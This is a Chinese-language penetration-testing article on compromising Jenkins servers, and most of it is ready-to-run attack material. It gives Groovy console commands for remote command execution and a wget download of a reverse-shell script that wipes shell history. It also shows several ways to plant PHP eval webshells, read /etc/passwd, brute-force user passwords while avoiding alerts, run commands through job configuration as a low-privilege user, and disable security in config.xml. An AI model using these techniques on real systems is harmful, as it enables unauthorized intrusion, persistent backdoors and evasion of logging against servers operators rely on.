本文首發(fā)安全脈搏 感謝大王叫我來巡山 的投遞 轉(zhuǎn)載請注明來源 大多安全工作者聽到j(luò)enkins都會知道有個未授權(quán)的命令執(zhí)行 但是如果Script頁面要授權(quán)才能訪問呢 或者你的用戶沒有Overall/RunScripts權(quán)限呢 抱著提出問題-->測試問題-->解決問題的思路有了這篇文章
由于版本眾多 也不用下載本地測了 直接在內(nèi)網(wǎng)找到六個
截止發(fā)稿 Jenkins新版本為(1.589) 一、 知其一的Jenkins未授權(quán)訪問可執(zhí)行命令
http://www.:8080/manage http://www.:8080/script 默認是8080端口 未授權(quán)訪問就是任意用戶都能訪問 都能執(zhí)行命令
1) println "ifconfig -a".execute().text 執(zhí)行一些系統(tǒng)命令
老外比較喜歡這樣用: def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr"
2) 直接wget下載back.py反彈shell
println "wget http://xxx./tools/back.py -P /tmp/".execute().text println "python /tmp/back.py 10.1.1.111 8080".execute().text
back.py里面已經(jīng)有了HISTFILE代碼,會自動去掉各種history記錄,確保shell斷掉的時候不會被記錄到.bash_history里面 back.py不需要root權(quán)限
3) 不想反彈試試Terminal Plugin可以搜索安裝Terminal Plugin
不想提權(quán)的話 還是蠻好用的終端插件 誰用誰知道~ 二、不知其二之多種方式寫shell有時候其他端口有web,我們可以查看nginx/apache配置或者結(jié)合phpinfo寫入webshell
嘗試幾次失敗后開始翻閱Groovy Script語法 The web site for Groovy is http://groovy./ Groovy is a weakly-typed scripting language based on Java.
1)Groovy既然是基于Java的弱類型語言 那么先稍微提提它的語法 def name = 'Joe' println "Hello $name" //Hello Joe def name = 'Joe' println "Number of letters in $name is ${name.size( )}" //Number of letters in Joe is 3 //Groovy I/O 文件讀寫 讀文件 text = new File("/tmp/back.py").getText(); //eachLine -- 打開和讀取文件的每一行 new File("/tmp/back.py").eachLine { println it; } //readLines lineList = new File("/tmp/back.py").readLines(); lineList.each { println it.toUpperCase(); } write輕輕松松寫文件 new File("/tmp/1.php").write('Hello SecPulse'); 多行寫入 new File("/tmp/1.php").write(""" This is just a test file to play with """);
2)幾種寫webshell的錯誤寫法:println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>"); groovy.lang.MissingPropertyException: No such property: _POST for class: Script1 new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>"); new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");
3)腦洞開 多種寫webshell方法① wget寫webshell println "wget http://shell./data/t.txt -o /var/www/html/media.php".execute().text ② new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>'); ③ def webshell = '<?php @eval($_POST[s3cpu1se]);?>' new File("/var/www/html/media.php").write("$webshell"); ④追加法寫webshell def execute(cmd) { def proc = cmd.execute() proc.waitFor() } execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] ) execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] ) //參數(shù)-n 不要在最后自動換行
Result: 0 表示成功寫入 Result: 1 表示目錄不存在或者權(quán)限不足 寫入失敗 Result: 2 表示構(gòu)造有異常 寫入失敗
Hudson(jenkins類似)找"腳本命令行"
執(zhí)行Groovy代碼,讀取服務(wù)器本地/etc/passwd文件: try{ text = new File("/etc/passwd").getText(); out.print text } catch(Exception e){ }
三、高逼格的Powershell&msfhttps://github.com/samratashok/nishang http://www./db/modules/exploit/multi/http/jenkins_script_console http://www./2014/06/hacking-jenkins-servers.html
nishang是一個powershell腳本集 msf上面有jenkins對應(yīng)的exploit 感覺都沒必要 四、登錄認證的突破jenkins可以對每個用戶分配不同的權(quán)限,如Overall/RunScripts或者Job/Configure權(quán)限
1)某些版本匿名用戶可以訪問asynchPeople 可爆破密碼 (通常很多密碼跟用戶名一樣或者是其他弱口令(top1000),尤其是內(nèi)網(wǎng))
//用戶列表:包含所有已知“用戶”,包括當前安全域中的登錄ID和在變更記錄的提交信的息里的人 http://jenkins.:8080/asynchPeople/
所有構(gòu)建(builds) http://jenkins.:8080/view/All/builds 可以導(dǎo)出為XML http:// jenkins.:8080/view/All/cc.xml userContent(一般就一個readme): http:// jenkins.:8080/userContent/ Computers: http:// jenkins.:8080/computer/
2) 熟練的猜密碼 根據(jù)這些用戶名 熟練的猜密碼 我們的目標就是要一個有命令執(zhí)行權(quán)限的用戶(最好是這樣,但也不苛求) 有時候是域認證的用戶 爆破立馬觸發(fā)各種郵件報警 顯然就不理智 端詳猜密碼是個絕技~ 3) 構(gòu)造精準字典,來爆破 最好是構(gòu)造精準的字典 也可以是top1000之類的弱口令 爆破Payload里面的json串可以刪除 主要根據(jù)location判斷爆破成功與否
五、低權(quán)限用戶命令執(zhí)行突破
不小心猜了個用戶 沒有執(zhí)行權(quán)限 但是有job查看和configure權(quán)限 http://jenkins.:8080/job/Job1/configure
新加一個Execute Shell添加command (win平臺用Execute Windows batch command) Cat /etc/passwd Apply 添加左上側(cè) 立即構(gòu)建 Build History看到歷史BuildId 右鍵 控制臺輸出 http://jenkins.:8080/job/Job1/300/console 純文本方式 http://jenkins.:8080/job/Job1/300/consoleText
老外也有提及:http://www./2014/08/script-execution-and-privilege-esc-jenkins.html
六、asynchPeople等不能訪問時候的突破
快速定位用戶有妙招 1) 如果jobs能訪問的話 各種翻jobs 會看到啟動用戶
2) 如果不能 那么啟用/user/xxx/暴力模式 如果存在
如果不存在
突破用戶回到上述的四和五~ 七、關(guān)于幾個配置和加密
1) 根目錄下的關(guān)鍵配置config.xml ① 如果配置不好的話 容易導(dǎo)致config.xml直接下載 http:// jenkins.:8080/config.xml ②[useSecurity]true[/useSecurity] 改為false的話就可以未授權(quán)訪問了 2) 每個用戶目錄下面的config.xml passHash使用了Java的強加密方式j(luò)bcrypt
pentest工作就是大部分自動化 快速找到安全短板 譬如st2,譬如弱口令,譬如本文的jenkins命令執(zhí)行,快速突破進內(nèi)網(wǎng)完成測試任務(wù)。安全運維人員則必須修補每一個缺口,重視每一塊短板,緊跟每一次安全漏洞披露。以上是一些拙見,歡迎交流~
|
|
來自: bananarlily > 《IT》